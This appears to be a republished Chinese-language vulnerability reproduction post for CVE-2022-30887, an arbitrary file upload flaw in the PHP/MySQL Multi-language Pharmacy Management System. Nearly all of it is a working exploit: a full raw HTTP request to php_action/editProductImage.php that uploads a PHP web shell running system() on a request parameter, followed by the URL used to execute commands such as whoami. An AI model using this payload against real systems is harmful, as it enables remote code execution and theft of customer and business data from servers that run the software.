多語言藥房管理系統(tǒng) (MPMS) 是用 PHP 和 MySQL 開發(fā)的, 該軟件的主要目的是在藥房和客戶之間提供一套接口,客戶是該軟件的主要用戶。該軟件有助于為藥房業(yè)務(wù)創(chuàng)建一個(gè)綜合數(shù)據(jù)庫,并根據(jù)到期、產(chǎn)品等各種參數(shù)提供各種報(bào)告。 該CMS中php_action/editProductImage.php存在任意文件上傳漏洞,進(jìn)而導(dǎo)致任意代碼執(zhí)行。
1. 訪問ip:port
2.抓包,將抓取到的內(nèi)容替換為如下poc,返回successfully即為上傳成功。
POST /php_action/editProductImage.php?id=1 HTTP/1.1 Host: ip:port User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------208935235035266125502673738631 Content-Length: 556 Connection: close Cookie: PHPSESSID=t1jo541l52f76t9upiu0pbqv0c Upgrade-Insecure-Requests: 1 -----------------------------208935235035266125502673738631 Content-Disposition: form-data; name="old_image" -----------------------------208935235035266125502673738631 Content-Disposition: form-data; name="productImage"; filename="shell.php" Content-Type: image/jpeg <?php if($_REQUEST['s']) { system($_REQUEST['s']); } else phpinfo(); ?> </pre> </body> </html> -----------------------------208935235035266125502673738631 Content-Disposition: form-data; name="btn" -----------------------------208935235035266125502673738631--
3.訪問ip:port/assets/myimages/shell.php?s=whoami即可執(zhí)行命令文章來源:http://www.zghlxwxcb.cn/news/detail-400616.html
文章來源地址http://www.zghlxwxcb.cn/news/detail-400616.html
到了這里,關(guān)于CVE-2022-30887漏洞復(fù)現(xiàn)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!